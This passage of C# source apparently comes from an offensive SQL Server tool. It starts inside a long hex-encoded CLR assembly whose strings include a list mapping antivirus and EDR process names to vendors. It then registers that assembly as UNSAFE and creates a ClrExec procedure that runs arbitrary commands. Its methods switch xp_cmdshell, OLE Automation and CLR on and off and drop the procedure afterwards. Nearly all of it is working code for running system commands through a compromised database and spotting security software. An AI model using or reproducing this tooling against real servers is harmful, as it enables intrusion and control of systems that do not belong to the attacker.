5400680075006E006400650072004200590054004500001D740063003A00540069006D006500430061006C0065006E0064006500002374006900740061006E0069006E003A0054006900740061006E0048006900640065000027740076006D0064003A0054006F00740061006C002000560065006C006F006300690074007900002B7400760074006D0064003A00200054006F00740061006C002000560065006C006F006300690074007900001D76006500740074007200610079003A00650054007200750073007400002D7600690072002D00680065006C0070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D76006E007000630033003000300030003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D760070006300330032003A00530079006D0061006E00740065006300001D760070006300340032003A00530079006D0061006E00740065006300001F760073006800770069006E00330032003A004D0063004100660065006500001B760073006D00610069006E003A004D0063004100660065006500001B7600730073007400610074003A004D0063004100660065006500002D7700660069006E0064007600330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01217A006100700072006F003A005A006F006E006500200041006C00610072006D0000297A006F006E00650061006C00610072006D003A005A006F006E006500200041006C00610072006D00001D4100560050004D003A004B006100730070006500720073006B00790000374100320043004D0044003A0045006D007300690073006F0066007400200041006E00740069002D004D0061006C00770061007200650001314100320053004500520056004900430045003A0061002D00730071007500610072006500640020006600720065006500012B4100320046005200450045003A0061002D00730071007500610072006500640020004600720065006500012F410044005600430048004B003A004E006F00720074006F006E00200041006E00740069005600690072007500730000114100470042003A00895B29593296BF7E012941004800500052004F0043004D004F004E005300450052005600450052003A00895B29593296BF7E012B41004900520044004500460045004E00530045003A0041006900720044006500660065006E0073006500003341004C004500520054005300560043003A004E006F00720074006F006E00200041006E0074006900560069007200750073000017410056004900520041003A000F5CA27E1E4F4067D26B013741004D004F004E003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C00000F410056005A003A00410056005A00002B41004E00540049005600490052003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011B41005000560058004400570049004E003A008A712B736B53EB58011D4100530048004D0041004900530056003A0041006C00770069006C00003141005300480053004500520056003A0041007600610073007400200041006E00740069002D00760069007200750073000137410053004800530049004D0050004C003A004100560041005300540021005600690072007500730043006C00650061006E0065007200001D410053004800570045004200530056003A0041007600610073007400001D410053005700550050004400530056003A0041007600610073007400001B4100530057005300430041004E003A0041007600610073007400001941005600430049004D0041004E003A008A712B736B53EB58011F4100560043004F004E0053004F004C003A004D0063004100660065006500001B4100560045004E00470049004E0045003A008A712B736B53EB58014B4100560045005300560043003A0041007600690072006100200041006E007400690056006900720020005300650063007500720069007400790020005300650072007600690063006500002B41005600450056004C00330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011341005600470041004D003A004100560047000013410056004700430043003A004100560047000019410056004700430048005300560058003A004100560047000019410056004700430053005200560058003A0041005600470000154100560047004E00530058003A00410056004700001741005600470043004300330032003A0041005600470000174100560047004300540052004C003A00410056004700001541005600470045004D0043003A004100560047000019410056004700460057005300520056003A0041005600470000194100560047004E0054004D00470052003A00410056004700001741005600470053004500520056003A00410056004700001741005600470054005200410059003A004100560047000019410056004700550050005300560043003A0041005600470000514100560049004E00490054004E0054003A0043006F006D006D0061006E006400200041006E007400690056006900720075007300200066006F00720020004E0054002000530065007200760065007200001F410056005000430043003A004B006100730070006500720073006B0079000033410056005300450052005600450052003A004B006500720069006F0020004D00610069006C0053006500720076006500720000214100560053004300480045004400330032003A0048002B004200450044005600001F41005600530059004E004D00470052003A004D0063004100660065006500001F410056005700550050005300520056003A0048002B0042004500440056000037420044005300570049005400430048003A0042006900740044006500660065006E0064006500720020004D006F00640075006C006500001F42004C00410043004B0044003A0042006C00610063006B004900430045000023430043004500560054004D00470052003A00530079006D0061006E0074006500630000154300460050003A0043004F004D004F0044004F00003143004C0041004D00570049004E003A0043006C0061006D00570069006E00200050006F0072007400610062006C00650000274300550052004500490054003A004400720057006500620020004300750072006500490054000033440045004600570041005400430048003A004E006F00720074006F006E00200041006E007400690076006900720075007300001F4400520057004100440049004E0053003A00440072002E005700650062000019440052005700450042003A00440072002E00570065006200003B44004500460045004E004400450052004400410045004D004F004E003A0053006800610064006F00770044006500660065006E00640065007200003D45005700490044004F004300540052004C003A0045007700690064006F00200053006500630075007200690074007900200053007500690074006500005D45005A0041004E00540049005600490052005500530052004500470049005300540052004100540049004F004E0043004800450043004B003A0065002D0054007200750073007400200041006E00740069007600690072007500730001334600490052004500570041004C004C003A0041007300680061006D0070006F006F0053006F0066007400770061007200650000354600500052004F00540054005200410059003A0046002D00500052004F005400200041006E007400690076006900720075007300011B46005000570049004E003A0056006500720069007A006F006E0000214600520045005300480043004C0041004D003A0043006C0061006D0041005600001F4600530041005600330032003A0046002D00530065006300750072006500012146005300420057005300590053003A0046002D00730065006300750072006500011F4600530044004600570044003A0046002D00530065006300750072006500011F4600530047004B00330032003A0046002D0053006500630075007200650001234600530047004B0033003200530054003A0046002D00530065006300750072006500011F460053004D004100330032003A0046002D00530065006300750072006500011F460053004D004200330032003A0046002D00530065006300750072006500011F4600530053004D00330032003A0046002D00530065006300750072006500011B470055004100520044004700550049003A00517F386EDD4F5695011D470055004100520044004E0054003A0049004B004100520055005300001F490041004D004100500050003A00530079006D0061006E00740065006300001B49004E004F004300490054003A00650054007200750073007400001B49004E004F005200500043003A00650054007200750073007400001949004E004F00520054003A00650054007200750073007400001D49004E004F005400410053004B003A00650054007200750073007400001F49004E004F005500500054004E0047003A006500540072007500730074000019490053004100460045003A00650054007200750073007400001B4B00410056003A004B006100730070006500720073006B007900001F4B00410056004D004D003A004B006100730070006500720073006B007900001F4B0041005600500046003A004B006100730070006500720073006B00790000214B00410056005000460057003A004B006100730070006500720073006B00790000254B0041005600530054004100520054003A004B006100730070006500720073006B00790000214B00410056005300560043003A004B006100730070006500720073006B00790000254B0041005600530056004300550049003A004B006100730070006500720073006B007900001B4B004D00410049004C004D004F004E003A00D191715CD26B3897011D4D0043004100470045004E0054003A004D0063004100660065006500001F4D0043004D004E00480044004C0052003A004D0063004100660065006500001F4D004300520045004700570049005A003A004D0063004100660065006500001F4D0043005500500044004100540045003A004D0063004100660065006500001F4D00430056005300530048004C0044003A004D006300410066006500650000254D0049004E0049004C004F0047003A005A006F006E006500200041006C00610072006D00001F4D0059004100470054005300560043003A004D0063004100660065006500001F4D0059004100470054005400520059003A004D0063004100660065006500001F4E0041005600410050005300560043003A004E006F00720074006F006E00001F4E0041005600410050005700330032003A004E006F00720074006F006E00001D4E00410056004C005500330032003A004E006F00720074006F006E00002F4E00410056005700330032003A004E006F00720074006F006E00200041006E00740069007600690072007500730000294E0045004F00570041005400430048004C004F0047003A004E0065006F0057006100740063006800002B4E0045004F005700410054004300480054005200410059003A004E0065006F0057006100740063006800001D4E004900530053004500520056003A004E006F00720074006F006E0000194E004900530055004D003A004E006F00720074006F006E0000194E004D00410049004E003A004E006F00720074006F006E0000214E004F004400330032003A00450053004500540020004E004F0044003300320000254E00500046004D00530047003A004E006F0072006D0061006E002A4EBA4E32966B70995801234E00500052004F0054004500430054003A00530079006D0061006E00740065006300001B4E0053004D004400540052003A004E006F00720074006F006E00001B4E005400520054005300430041004E003A008B8DBF52D1798062012D4F00460043005000460057005300560043003A004F00660066006900630065005300630061006E004E005400002D4F004E004C0049004E0045004E0054003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F4F0050005F004D004F004E003A0020004F007500740070006F00730074004600690072006500770061006C006C00001B500041005600460049005200450053003A008A712B736B53EB58011B50004100560046004E005300560052003A008A712B736B53EB5801175000410056004B00520045003A008A712B736B53EB580119500041005600500052004F0054003A008A712B736B53EB58011B500041005600500052004F00580059003A008A712B736B53EB58011B500041005600500052005300520056003A008A712B736B53EB58011B500041005600530052005600350031003A008A712B736B53EB580115500041005600530053003A008A712B736B53EB580125500043004300470055004900440045003A00500043002D00630069006C006C0069006E00012550004300430049004F004D004F004E003A00500043002D00630069006C006C0069006E0001255000430043004E0054004D004F004E003A00500043002D00630069006C006C0069006E0001175000430043005000460057003A008B8DBF52D1798062011B50004300430054004C0043004F004D003A008B8DBF52D17980620131500043005400410056003A0050004300200054006F006F006C007300200041006E007400690056006900720075007300003B5000450052005300460057003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C0000295000450052005600410043003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0123500045005300540050004100540052004F004C003A0049006B006100720075007300001950005200450056005300520056003A008A712B736B53EB580141520054005600530043004E00390035003A005200650061006C002D00740069006D00650020005600690072007500730020005300630061006E006E00650072000127530041005600410044004D0049004E0053004500520056004900430045003A0053004100560000175300410056004D00410049004E003A0053004100560000175300410056005300430041004E003A00530041005600002B53004400480045004C0050003A005300700079007700610072006500200044006F00630074006F007200001B5300480053005400410054003A004D00630041006600650065000023530050004200420043005300560043003A00530079006D0061006E007400650063000021530050004900440045005200430050004C003A00440072002E00570065006200001F5300500049004400450052004D004C003A00440072002E00570065006200001F530050004900440045005200550049003A00440072002E00570065006200002153005000590042004F005400530044003A0053007000790062006F00740020000023530057004100470045004E0054003A0053006F006E0069006300570041004C004C0000255300570044004F00430054004F0052003A0053006F006E0069006300570041004C004C00001F530057004E00450054005300550050003A0053006F00700068006F0073000023530059004D004C0043005300560043003A00530079006D0061006E007400650063000029530059004D00500052004F00580059005300560043003A00530079006D0061006E007400650063000025530059004D00530050004F00520054003A005300790073006D0061006E007400650063000021530059004D005700530043003A005300790073006D0061006E007400650063000021530059004E004D00470052003A005300790073006D0061006E00740065006300001B54004D004C0049005300540045004E003A008B8DBF52D1798062011954004D004E0054005300520056003A008B8DBF52D1798062011954004D00500052004F00580059003A008B8DBF52D1798062012554004E0042005500540049004C003A0041006E00740069002D0056006900720075007300012D56004200410033003200450043004D003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D560042004100330032004900460053003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D560042004100330032005000500033003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01255600430052004D004F004E003A0056006900720075007300430068006100730065007200001B560052004D004F004E004E0054003A0048004100550052004900001D560052004D004F004E005300560043003A0048004100550052004900001F560053004800570049004E00330032003A004D0063004100660065006500001B5600530053005400410054003A004D00630041006600650065000029580043004F004D004D005300560052003A0042006900740044006500660065006E0064006500720000295A004F004E00450041004C00410052004D003A005A006F006E006500200041006C00610072006D000017330036003000720070003A003300360030004067D26B013361006600770053006500720076003A00200041007600610073007400200041006E00740069007600690072007500730020000023730061006600650062006F00780054007200610079003A003300360030004067D26B0121330036003000730061006600650062006F0078003A003300360030004067D26B011F510051005000430054007200610079003A005100510035751181A17BB65B011D4B00530061006600650054007200610079003A00D191715CD26B3897011B4B0053006100660065005300760063003A00D191715CD26B389701174B00570061007400630068003A00D191715CD26B3897012D67006F0076005F0064006500660065006E00630065005F0073006500720076006900630065003A00914E0195012B67006F0076005F0064006500660065006E00630065005F006400610065006D006F006E003A00914E0195013973006D00610072007400730063007200650065006E003A00570069006E0064006F0077007300200044006500660065006E0064006500720000256D00610063006F006D007000610074007300760063003A004D006300410066006500650000296D00630061006D006E007300760063002E0065007800650020003A004D006300410066006500650000196D0061007300760063003A004D0063004100660065006500001B6D00660065006D006D0073003A004D0063004100660065006500001B6D00630074006100720079003A004D0063004100660065006500001F6D00630073006800690065006C0064003A004D006300410066006500650000196D0066006500770063003A004D0063004100660065006500001B6D00660065007700630068003A004D006300410066006500650000196D0066006500660077003A004D0063004100660065006500001D6D006600650066006900720065003A004D006300410066006500650000196D0066006500740070003A004D006300410066006500650000216D0066006500630061006E006100720079003A004D006300410066006500650000236D006600650063006F006E0073006F006C0065003A004D0063004100660065006500001B6D00660065006500730070003A004D0063004100660065006500001766006300610067003A004D00630041006600650065000019660063006100670073003A004D0063004100660065006500001D66006300610067007300770064003A004D0063004100660065006500001D66006300610067006100740065003A004D0063004100660065006500003133003600300045006E00740043006C00690065006E0074003A002959CE6445004400520020004100670065006E00740001336500640072005F007300650063005F0070006C0061006E003A00F16DE14F0D6745004400520020004100670065006E00740001316500640072005F006D006F006E00690074006F0072003A00F16DE14F0D6745004400520020004100670065006E007400012D6500640072005F006100670065006E0074003A00F16DE14F0D6745004400520020004100670065006E0074000137450053004300430043006F006E00740072006F006C003A002F540E661F66B08F2959E37345004400520020004100670065006E007400012945005300430043003A002F540E661F66B08F2959E37345004400520020004100670065006E007400012945005300410056003A002F540E661F66B08F2959E37345004400520020004100670065006E0074000133450053004300430049006E006400650078003A002F540E661F66B08F2959E37345004400520020004100670065006E007400011F41006C006900590075006E00440075006E003A003F96CC91914E914EFE7601257700640073007700660073006100660065003A003300360030004067D26B2D00517FFE760100C9CA74B1D219D946A9738E45F795442D0008B77A5C561934E089090004080E08101110080A0005080E0E0810110C08072004010E0E0E0E062003010E0E0E0320000102060E020608050002010E0E050002020E0E0B000702180912110918181803000002040001010803000001040001010E060003180902090800051818180909090900050218181C09100907000318112C0209060003181818180400010918040001021811000A02180E18180209181810114010113805000111380E0800021D051D051D050306112804FF0F1F000401000000040200000004080000000410000000042000000004400000000480000000040001000004000200000400040000040010000004000010000306112C041A00000004FB0300000306113004002000000400000800040000000104000000080306113404040000000400000040020618020609020607070000151215010E05200101111D011504FFFFFFFF012805200101112D0420010108042001010E0400001241050702111002050702110C0205200101114905070212080E050001124D0E0420001255042000125D062002010E1165072003081D050808072003011D0508080320000E0500020E0E0E10070812511259125D125D1D0508127102040000127505200101127505200102117D06070212751279040001020E0500020E0E1C0500011D050E09200301125D118089020B07041D05126112808512710700011D1280950E0600011280950803200008032000180700040E0E1C1C1C0400010E0E0600030E0E1C1C0C2004010E11651180A51180A90520001280AD04061280B50620011280B50E0420011C0E1A070E18091280951D12809512711271020E0E0E12610E0E1280B50407020E0E042001020E0620011D0E1D0314070C1D0E0E0E1D0E0E0E1D0E0E0E1D031D031D03040001180807070309114011380507021D05080500001280CD0520011D050E0F07091D051D0509113818181802127107151280D1020E0E05151215010E092000151180D501130006151180D5010E04200013000900031D0E0E0E1180DD0720020113001301032000020600001D12809508200202130010130122070C151280D1020E0E0E1D0E0E0E0E081D128095128095151180D5010E1D128095080A200101151280E5011300090702151215010E1D0E0801000200000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010000000000A8E20B6000000000020000001C01000048BE000048A000005253445368210130070B14479B95E60B1FEACACE01000000643A5C6D79636F64655C536861727053514C546F6F6C735C434C522D6D6F64756C655C6F626A5C52656C656173655C434C525F6D6F64756C652E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008CBF00000000000000000000AEBF0000002000000000000000000000000000000000000000000000A0BF00000000000000000000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058C00000540200000000000000000000540234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004B4010000010053007400720069006E006700460069006C00650049006E0066006F0000009001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000040000F00010049006E007400650072006E0061006C004E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000048000F0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000C000000C03F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;");
Batch.CLRExec(Conn, Command);
}
/// <summary>
/// CREATE PROCEDURE
/// </summary>
/// <returns></returns>
public void CREATE_PROCEDURE()
{
Command = String.Format(@"CREATE PROCEDURE [dbo].[ClrExec]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]");
Batch.CLRExec(Conn, Command);
}
/// <summary>
/// drop_clr
/// </summary>
/// <returns></returns>
public void drop_clr()
{
Command = String.Format(@"drop PROCEDURE dbo.ClrExec
drop assembly CLR_module");
Batch.CLRExec(Conn, Command);
}
/// <summary>
/// 检查 configuration 的配置
/// </summary>
/// <param name="option">查询内容选项</param>
/// <param name="value">返回值匹配</param>
/// <returns></returns>
public bool Check_configuration(String option, int value)
{
Command = String.Format("SELECT cast(value as INT) as v FROM sys.configurations where name = '{0}';", option);
if (int.Parse(Batch.RemoteExec(Conn, Command, false)) == value)
return true;
return false;
}
#region 启用/关闭 OLE Automation Procedures 配置
/// <summary>
/// 开启 OLA
/// </summary>
/// <returns>true/false</returns>
public bool Enable_ola()
{
if (!Set_configuration("show advanced options", 1))
{
Console.WriteLine("[!] cannot enable 'show advanced options'");
return false;
}
if (!Set_configuration("Ole Automation Procedures", 1))
{
Console.WriteLine("[!] cannot enable 'Ole Automation Procedures'");
return false;
}
return true;
}
/// <summary>
/// 关闭 OLA
/// </summary>
/// <returns>true/false</returns>
public bool Disable_ole()
{
if (!Set_configuration("show advanced options", 1))
{
Console.WriteLine("[!] cannot enable 'show advanced options'");
return false;
}
if (!Set_configuration("Ole Automation Procedures", 0))
{
Console.WriteLine("[!] cannot disable 'Ole Automation Procedures'");
return false;
}
if (!Set_configuration("show advanced options", 0))
{
Console.WriteLine("[!] cannot disable 'show advanced options'");
return false;
}
return true;
}
#endregion
#region 启用/关闭 xp_cmdshell
/// <summary>
/// 开启 xp_cmdshell
/// </summary>
/// <returns>true/false</returns>
public bool Enable_xp_cmdshell()
{
if (!Set_configuration("show advanced options", 1))
{
Console.WriteLine("[!] cannot enable 'show advanced options'");
return false;
}
if (!Set_configuration("xp_cmdshell", 1))
{
Console.WriteLine("[!] cannot enable 'xp_cmdshell'");
return false;
}
return true;
}
/// <summary>
/// 关闭 xp_cmdshell
/// </summary>
/// <returns>true/false</returns>
public bool Disable_xp_cmdshell()
{
if (!Set_configuration("show advanced options", 1))
{
Console.WriteLine("[!] cannot enable 'show advanced options'");
return false;
}
if (!Set_configuration("xp_cmdshell", 0))
{
Console.WriteLine("[!] cannot disable 'xp_cmdshell'");
return false;
}
if (!Set_configuration("show advanced options", 0))
{
Console.WriteLine("[!] cannot disable 'show advanced options'");
return false;
}
return true;
}
#endregion
#region 启用/关闭 clr
/// <summary>
/// 开启 clr enabled
/// </summary>
/// <returns>true/false</returns>
public bool Enable_clr()
{
if (!Set_configuration("show advanced options", 1))
{
Console.WriteLine("[!] cannot enable 'show advanced options'");
return false;
}
if (!Set_configuration("clr enabled", 1))
{
Console.WriteLine("[!] cannot enable 'clr enabled'");
return false;
}
return true;
}
/// <summary>
/// 关闭 clr enabled
/// </summary>
/// <returns>true/false</returns>
public bool Disable_clr()
{
if (!Set_configuration("show advanced options", 1))
{
Console.WriteLine("[!] cannot enable 'show advanced options'");
return false;
}
if (!Set_configuration("clr enabled", 0))
{
Console.WriteLine("[!] cannot disable 'clr enabled'");
return false;
}
if (!Set_configuration("show advanced options", 0))
{
Console.WriteLine("[!] cannot disable 'show advanced options'");
return false;
}
return true;
}
#endregion
}
}